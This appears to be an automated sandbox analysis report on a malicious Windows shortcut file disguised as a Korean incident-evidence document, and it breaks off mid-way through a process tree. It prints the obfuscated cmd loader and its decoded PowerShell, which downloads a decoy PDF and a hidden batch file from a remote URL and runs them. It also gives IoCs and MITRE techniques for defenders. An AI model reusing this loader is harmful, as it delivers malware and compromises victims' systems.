c534df540c66e8578cf8400280cf8d8a4ed7a21a93fda27ec2e29e912f0dacaf

Analysis

max time kernel
299s
max time network
254s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 10:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
[별첨1]_사고인지_유형별_증빙자료_예시-최종.lnk
Size 41.2MB
Sample260620-mlkxdaet8n
SHA256 c534df540c66e8578cf8400280cf8d8a4ed7a21a93fda27ec2e29e912f0dacaf
MD5 300bb48d11bc5d2b9ac558ec8e830882
SHA1 eeee1e0defa10f3791a3f00d804637f008ea4e07
SHA512 2961f9fa4356ce4b066d6ab2c12aa55f61a5c04653db304875c629afe5190f868dfd18a8b44d31982e415db304bba5cf8cd003ef795cd9cc907f4d089bd47753
SSDEEP 48:8j8b4rMWpW90Zpxv7pW9ArpKpkgpWmpWmp+RUCcM+diCp5laz5+I3ihlTMGpcTMO:802M+BjVhdcM+dibzF3inGTdxq+v
TLSH
T10D97013484A4C2AE836F81E5B49B314A58713C65B7FBA50A4C63F29F3B5320B9FB150D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://cyl.co.kr/faq/delete.php

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3424	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2740	TempYQvNvIO.exe
3872	TempYQvNvIO.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYQvNvIO.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYQvNvIO.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4436	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134264252106885766"	msedge.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3655380807-1096177077-1670381078-1000\{B7381632-F490-4116-B104-DE78910B4757}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3655380807-1096177077-1670381078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5776	msedge.exe
5776	msedge.exe
5776	msedge.exe
5776	msedge.exe
5776	msedge.exe
5776	msedge.exe
5776	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3424	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5776	msedge.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 4228	916	cmd.exe	89
PID 4228 wrote to memory of 3424	4228	cmd.exe	90
PID 3424 wrote to memory of 2740	3424	powershell.exe	91
PID 3424 wrote to memory of 5776	3424	powershell.exe	92
PID 3424 wrote to memory of 3872	3424	powershell.exe	93
PID 5776 wrote to memory of 5996	5776	msedge.exe	94
PID 5776 wrote to memory of 5976	5776	msedge.exe	95
PID 5776 wrote to memory of 4436	5776	msedge.exe	97
PID 5776 wrote to memory of 5976	5776	msedge.exe	95
PID 5776 wrote to memory of 5976	5776	msedge.exe	95
PID 5776 wrote to memory of 1996	5776	msedge.exe	98
PID 5776 wrote to memory of 1996	5776	msedge.exe	98
PID 5776 wrote to memory of 848	5776	msedge.exe	99
PID 5776 wrote to memory of 848	5776	msedge.exe	99
PID 5776 wrote to memory of 848	5776	msedge.exe	99
PID 5776 wrote to memory of 1988	5776	msedge.exe	100
PID 5776 wrote to memory of 1988	5776	msedge.exe	100
PID 5776 wrote to memory of 1988	5776	msedge.exe	100
PID 5776 wrote to memory of 264	5776	msedge.exe	101
PID 5776 wrote to memory of 264	5776	msedge.exe	101
PID 5776 wrote to memory of 264	5776	msedge.exe	101
PID 5776 wrote to memory of 2284	5776	msedge.exe	102
PID 5776 wrote to memory of 2284	5776	msedge.exe	102
PID 5776 wrote to memory of 2284	5776	msedge.exe	102
PID 5776 wrote to memory of 3968	5776	msedge.exe	103
PID 5776 wrote to memory of 3968	5776	msedge.exe	103
PID 5776 wrote to memory of 3968	5776	msedge.exe	103
PID 5776 wrote to memory of 1412	5776	msedge.exe	104
PID 5776 wrote to memory of 1412	5776	msedge.exe	104
PID 5776 wrote to memory of 1412	5776	msedge.exe	104
PID 5776 wrote to memory of 3372	5776	msedge.exe	105
PID 5776 wrote to memory of 3372	5776	msedge.exe	105
PID 5776 wrote to memory of 5200	5776	msedge.exe	107
PID 5776 wrote to memory of 1680	5776	msedge.exe	108
PID 5776 wrote to memory of 5200	5776	msedge.exe	107
PID 5776 wrote to memory of 1680	5776	msedge.exe	108
PID 5776 wrote to memory of 2076	5776	msedge.exe	110
PID 5776 wrote to memory of 2584	5776	msedge.exe	111
PID 5776 wrote to memory of 2584	5776	msedge.exe	111
PID 5776 wrote to memory of 4780	5776	msedge.exe	114
PID 5776 wrote to memory of 4780	5776	msedge.exe	114
PID 5776 wrote to memory of 4932	5776	msedge.exe	116
PID 5776 wrote to memory of 4492	5776	msedge.exe	117
PID 5776 wrote to memory of 3180	5776	msedge.exe	118
PID 5776 wrote to memory of 4784	5776	msedge.exe	119
PID 5776 wrote to memory of 4784	5776	msedge.exe	119
PID 5776 wrote to memory of 964	5776	msedge.exe	122
PID 5776 wrote to memory of 964	5776	msedge.exe	122
PID 5776 wrote to memory of 3140	5776	msedge.exe	123
PID 5776 wrote to memory of 1968	5776	msedge.exe	125
PID 5776 wrote to memory of 4496	5776	msedge.exe	124
PID 5776 wrote to memory of 1968	5776	msedge.exe	125
PID 5776 wrote to memory of 4496	5776	msedge.exe	124

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\[별첨1]_사고인지_유형별_증빙자료_예시-최종.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /k "Set a0ed740=7sJKpDZLIxSgW8N3BATGdjuEl56FXe0mnfM9bovQCH4t1hk2wPyraci && call %a0ed740:~4,1%%a0ed740:~37,1%%a0ed740:~48,1%%a0ed740:~29,1%%a0ed740:~51,1%%a0ed740:~1,1%%a0ed740:~45,1%%a0ed740:~29,1%%a0ed740:~24,1%%a0ed740:~24,1% -%a0ed740:~29,1%%a0ed740:~9,1%%a0ed740:~29,1%%a0ed740:~53,1%%a0ed740:~22,1%%a0ed740:~43,1%%a0ed740:~54,1%%a0ed740:~37,1%%a0ed740:~32,1%%a0ed740:~4,1%%a0ed740:~37,1%%a0ed740:~24,1%%a0ed740:~54,1%%a0ed740:~53,1%%a0ed740:~50,1% %a0ed740:~36,1%%a0ed740:~50,1%%a0ed740:~4,1%%a0ed740:~52,1%%a0ed740:~1,1%%a0ed740:~1,1% -%a0ed740:~53,1%%a0ed740:~37,1%%a0ed740:~31,1%%a0ed740:~31,1%%a0ed740:~52,1%%a0ed740:~32,1%%a0ed740:~20,1% ""$%a0ed740:~16,1%_%a0ed740:~41,1%%a0ed740:~20,1%%a0ed740:~52,1%%a0ed740:~27,1%%a0ed740:~31,1%%a0ed740:~43,1%%a0ed740:~22,1%=$%a0ed740:~29,1%%a0ed740:~32,1%%a0ed740:~38,1%:%a0ed740:~18,1%%a0ed740:~23,1%%a0ed740:~34,1%%a0ed740:~49,1%+'YQvNvIO.exe';$%a0ed740:~39,1%%a0ed740:~53,1%%a0ed740:~22,1%%a0ed740:~22,1%%a0ed740:~27,1%_%a0ed740:~24,1%%a0ed740:~31,1%%a0ed740:~36,1%%a0ed740:~22,1%%a0ed740:~37,1%%a0ed740:~23,1%='%a0ed740:~40,1%:\%a0ed740:~12,1%%a0ed740:~54,1%%a0ed740:~32,1%%a0ed740:~20,1%%a0ed740:~37,1%%a0ed740:~48,1%%a0ed740:~1,1%\%a0ed740:~10,1%%a0ed740:~50,1%%a0ed740:~1,1%%a0ed740:~43,1%%a0ed740:~29,1%%a0ed740:~31,1%%a0ed740:~15,1%%a0ed740:~47,1%\%a0ed740:~53,1%%a0ed740:~22,1%%a0ed740:~51,1%%a0ed740:~24,1%.%a0ed740:~29,1%%a0ed740:~9,1%%a0ed740:~29,1%';%a0ed740:~40,1%%a0ed740:~37,1%%a0ed740:~4,1%%a0ed740:~50,1%-%a0ed740:~8,1%%a0ed740:~43,1%%a0ed740:~29,1%%a0ed740:~31,1% -%a0ed740:~49,1%%a0ed740:~52,1%%a0ed740:~43,1%%a0ed740:~45,1% $%a0ed740:~39,1%%a0ed740:~53,1%%a0ed740:~22,1%%a0ed740:~22,1%%a0ed740:~27,1%_%a0ed740:~24,1%%a0ed740:~31,1%%a0ed740:~36,1%%a0ed740:~22,1%%a0ed740:~37,1%%a0ed740:~23,1% -%a0ed740:~5,1%%a0ed740:~29,1%%a0ed740:~1,1%%a0ed740:~43,1%%a0ed740:~54,1%%a0ed740:~32,1%%a0ed740:~52,1%%a0ed740:~43,1%%a0ed740:~54,1%%a0ed740:~37,1%%a0ed740:~32,1% $%a0ed740:~16,1%_%a0ed740:~41,1%%a0ed740:~20,1%%a0ed740:~52,1%%a0ed740:~27,1%%a0ed740:~31,1%%a0ed740:~43,1%%a0ed740:~22,1% -%a0ed740:~27,1%%a0ed740:~37,1%%a0ed740:~51,1%%a0ed740:~53,1%%a0ed740:~29,1%;$%a0ed740:~52,1%%a0ed740:~32,1%%a0ed740:~3,1%%a0ed740:~4,1%_%a0ed740:~35,1%_%a0ed740:~17,1%='https://cyl.co.kr/faq/delete.php';$%a0ed740:~17,1%%a0ed740:~42,1%%a0ed740:~2,1%%a0ed740:~44,1%%a0ed740:~31,1%%a0ed740:~50,1%%a0ed740:~30,1%%a0ed740:~19,1%%a0ed740:~49,1%%a0ed740:~52,1%%a0ed740:~50,1%%a0ed740:~29,1%%a0ed740:~4,1%=@(@{%a0ed740:~1,1%='MqaOeThlPBg7k7iIISnrD';%a0ed740:~46,1%='BsoLp8wGvQRGLeUS2LGBYzNzeLezD1x5m1M';%a0ed740:~20,1%='\[별첨1]_사고인지_유형별_증빙자료_예시-최종.pdf';%a0ed740:~48,1%=$%a0ed740:~43,1%%a0ed740:~51,1%%a0ed740:~22,1%%a0ed740:~29,1%},@{%a0ed740:~1,1%='NEnIcHaEuTm3PRcT9';%a0ed740:~46,1%='FpEGZPELHpY98hDk5DHumrBNuNaoxEGd';%a0ed740:~20,1%='\Y0QiqMwz.bat';%a0ed740:~48,1%=$%a0ed740:~33,1%%a0ed740:~52,1%%a0ed740:~24,1%%a0ed740:~1,1%%a0ed740:~29,1%});%a0ed740:~33,1%%a0ed740:~37,1%%a0ed740:~51,1%%a0ed740:~29,1%%a0ed740:~52,1%%a0ed740:~53,1%%a0ed740:~45,1%($%a0ed740:~3,1%%a0ed740:~16,1%%a0ed740:~21,1%%a0ed740:~13,1%%a0ed740:~48,1%%a0ed740:~20,1%%a0ed740:~16,1% %a0ed740:~54,1%%a0ed740:~32,1% $%a0ed740:~17,1%%a0ed740:~42,1%%a0ed740:~2,1%%a0ed740:~44,1%%a0ed740:~31,1%%a0ed740:~50,1%%a0ed740:~30,1%%a0ed740:~19,1%%a0ed740:~49,1%%a0ed740:~52,1%%a0ed740:~50,1%%a0ed740:~29,1%%a0ed740:~4,1%){$%a0ed740:~8,1%%a0ed740:~19,1%%a0ed740:~41,1%%a0ed740:~18,1%%a0ed740:~51,1%%a0ed740:~49,1%%a0ed740:~24,1%%a0ed740:~29,1%%a0ed740:~2,1%%a0ed740:~33,1%%a0ed740:~44,1%%a0ed740:~39,1%%a0ed740:~12,1%=$%a0ed740:~52,1%%a0ed740:~32,1%%a0ed740:~3,1%%a0ed740:~4,1%_%a0ed740:~35,1%_%a0ed740:~17,1%+'?%a0ed740:~33,1%%a0ed740:~54,1%%a0ed740:~24,1%%a0ed740:~29,1%%a0ed740:~22,1%%a0ed740:~51,1%%a0ed740:~24,1%='+$($%a0ed740:~3,1%%a0ed740:~16,1%%a0ed740:~21,1%%a0ed740:~13,1%%a0ed740:~48,1%%a0ed740:~20,1%%a0ed740:~16,1%.%a0ed740:~1,1%)+[%a0ed740:~53,1%%a0ed740:~45,1%%a0ed740:~52,1%%a0ed740:~51,1%]%a0ed740:~15,1%%a0ed740:~13,1%+'%a0ed740:~24,1%%a0ed740:~54,1%%a0ed740:~32,1%%a0ed740:~46,1%='+$($%a0ed740:~3,1%%a0ed740:~16,1%%a0ed740:~21,1%%a0ed740:~13,1%%a0ed740:~48,1%%a0ed740:~20,1%%a0ed740:~16,1%.%a0ed740:~46,1%);$%a0ed740:~6,1%%a0ed740:~27,1%%a0ed740:~28,1%%a0ed740:~35,1%%a0ed740:~10,1%%a0ed740:~17,1%%a0ed740:~48,1%='\"'+$%a0ed740:~29,1%%a0ed740:~32,1%%a0ed740:~38,1%:%a0ed740:~43,1%%a0ed740:~29,1%%a0ed740:~31,1%%a0ed740:~4,1%+$($%a0ed740:~3,1%%a0ed740:~16,1%%a0ed740:~21,1%%a0ed740:~13,1%%a0ed740:~48,1%%a0ed740:~20,1%%a0ed740:~16,1%.%a0ed740:~20,1%)+'\"';%a0ed740:~10,1%%a0ed740:~43,1%%a0ed740:~52,1%%a0ed740:~51,1%%a0ed740:~43,1%-%a0ed740:~49,1%%a0ed740:~51,1%%a0ed740:~37,1%%a0ed740:~53,1%%a0ed740:~29,1%%a0ed740:~1,1%%a0ed740:~1,1% -%a0ed740:~27,1%%a0ed740:~54,1%%a0ed740:~24,1%%a0ed740:~29,1%%a0ed740:~49,1%%a0ed740:~52,1%%a0ed740:~43,1%%a0ed740:~45,1% $%a0ed740:~16,1%_%a0ed740:~41,1%%a0ed740:~20,1%%a0ed740:~52,1%%a0ed740:~27,1%%a0ed740:~31,1%%a0ed740:~43,1%%a0ed740:~22,1% -%a0ed740:~17,1%%a0ed740:~51,1%%a0ed740:~11,1%%a0ed740:~22,1%%a0ed740:~31,1%%a0ed740:~29,1%%a0ed740:~32,1%%a0ed740:~43,1%%a0ed740:~7,1%%a0ed740:~54,1%%a0ed740:~1,1%%a0ed740:~43,1% $%a0ed740:~8,1%%a0ed740:~19,1%%a0ed740:~41,1%%a0ed740:~18,1%%a0ed740:~51,1%%a0ed740:~49,1%%a0ed740:~24,1%%a0ed740:~29,1%%a0ed740:~2,1%%a0ed740:~33,1%%a0ed740:~44,1%%a0ed740:~39,1%%a0ed740:~12,1%,'-%a0ed740:~37,1%',$%a0ed740:~6,1%%a0ed740:~27,1%%a0ed740:~28,1%%a0ed740:~35,1%%a0ed740:~10,1%%a0ed740:~17,1%%a0ed740:~48,1% -%a0ed740:~12,1%%a0ed740:~52,1%%a0ed740:~54,1%%a0ed740:~43,1% -%a0ed740:~14,1%%a0ed740:~37,1%%a0ed740:~14,1%%a0ed740:~29,1%%a0ed740:~48,1%%a0ed740:~12,1%%a0ed740:~54,1%%a0ed740:~32,1%%a0ed740:~20,1%%a0ed740:~37,1%%a0ed740:~48,1%;%a0ed740:~54,1%%a0ed740:~33,1%($%a0ed740:~3,1%%a0ed740:~16,1%%a0ed740:~21,1%%a0ed740:~13,1%%a0ed740:~48,1%%a0ed740:~20,1%%a0ed740:~16,1%.%a0ed740:~48,1%){%a0ed740:~10,1%%a0ed740:~43,1%%a0ed740:~52,1%%a0ed740:~51,1%%a0ed740:~43,1%-%a0ed740:~49,1%%a0ed740:~51,1%%a0ed740:~37,1%%a0ed740:~53,1%%a0ed740:~29,1%%a0ed740:~1,1%%a0ed740:~1,1% $%a0ed740:~6,1%%a0ed740:~27,1%%a0ed740:~28,1%%a0ed740:~35,1%%a0ed740:~10,1%%a0ed740:~17,1%%a0ed740:~48,1%;}%a0ed740:~29,1%%a0ed740:~24,1%%a0ed740:~1,1%%a0ed740:~29,1%{%a0ed740:~10,1%%a0ed740:~43,1%%a0ed740:~52,1%%a0ed740:~51,1%%a0ed740:~43,1%-%a0ed740:~49,1%%a0ed740:~51,1%%a0ed740:~37,1%%a0ed740:~53,1%%a0ed740:~29,1%%a0ed740:~1,1%%a0ed740:~1,1% $%a0ed740:~6,1%%a0ed740:~27,1%%a0ed740:~28,1%%a0ed740:~35,1%%a0ed740:~10,1%%a0ed740:~17,1%%a0ed740:~48,1% -%a0ed740:~12,1%%a0ed740:~54,1%%a0ed740:~32,1%%a0ed740:~20,1%%a0ed740:~37,1%%a0ed740:~48,1%%a0ed740:~10,1%%a0ed740:~43,1%%a0ed740:~50,1%%a0ed740:~24,1%%a0ed740:~29,1% %a0ed740:~45,1%%a0ed740:~54,1%%a0ed740:~20,1%%a0ed740:~20,1%%a0ed740:~29,1%%a0ed740:~32,1%}};"" && exit"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy bypass -command ""$B_HdaFmtu=$env:TEMP+'YQvNvIO.exe';$QcuuF_lmbuoE='C:\Windows\System32\curl.exe';Copy-Item -Path $QcuuF_lmbuoE -Destination $B_HdaFmtu -Force;$anKp_9_A='https://cyl.co.kr/faq/delete.php';$A4J1my0GPayep=@(@{s='MqaOeThlPBg7k7iIISnrD';k='BsoLp8wGvQRGLeUS2LGBYzNzeLezD1x5m1M';d='\[별첨1]_사고인지_유형별_증빙자료_예시-최종.pdf';w=$true},@{s='NEnIcHaEuTm3PRcT9';k='FpEGZPELHpY98hDk5DHumrBNuNaoxEGd';d='\Y0QiqMwz.bat';w=$false});foreach($KBj8wdB in $A4J1my0GPayep){$IGHTrPleJf1QW=$anKp_9_A+'?fileurl='+$($KBj8wdB.s)+[char]38+'link='+$($KBj8wdB.k);$ZFX9SAw='\"'+$env:temp+$($KBj8wdB.d)+'\"';Start-Process -FilePath $B_HdaFmtu -ArgumentList $IGHTrPleJf1QW,'-o',$ZFX9SAw -Wait -NoNewWindow;if($KBj8wdB.w){Start-Process $ZFX9SAw;}else{Start-Process $ZFX9SAw -WindowStyle hidden}};""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Users\Admin\AppData\Local\TempYQvNvIO.exe
      "C:\Users\Admin\AppData\Local\TempYQvNvIO.exe" https://cyl.co.kr/faq/delete.php?fileurl=MqaOeThlPBg7k7iIISnrD&link=BsoLp8wGvQRGLeUS2LGBYzNzeLezD1x5m1M -o "C:\Users\Admin\AppData\Local\Temp\[별첨1]_사고인지_유형별_증빙자료_예시-최종.pdf"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\[별첨1]_사고인지_유형별_증빙자료_예시-최종.pdf
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5776
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x358,0x7ffa789cc188,0x7ffa789cc194,0x7ffa789cc1a0
        5⤵
        
        PID:5996
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,3638450689993443217,13531209420518153985,262144 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
        5⤵
        
        PID:5976
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,1543755646548823049,11410383630220658141,524288 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2472,i,681567949883693862,5833802214896596693,524288 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:13
        5⤵
        
        PID:1996
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3568,i,16124702275394598703,15384239000423055082,2097152 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
        5⤵
        
        PID:848
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3592,i,10448484579901872292,8087847592208686986,2097152 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
        5⤵
        
        PID:1988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=3660,i,10949391939873516365,18419082294012191065,2097152 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:1
        5⤵
        
        PID:264
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4268,i,4768940089081923054,1645231664219133707,2097152 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:9
        5⤵
        
        PID:2284
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5324,i,15917455714053123787,13562813111082712183,2097152 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:9
        5⤵
        
        PID:3968
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5104,i,4877670143612685781,4651396644745468784,2097152 --field-trial-handle=2316,i,2256538762143199433,682886569013599324,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:15
        5⤵
        
        PID:1412
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
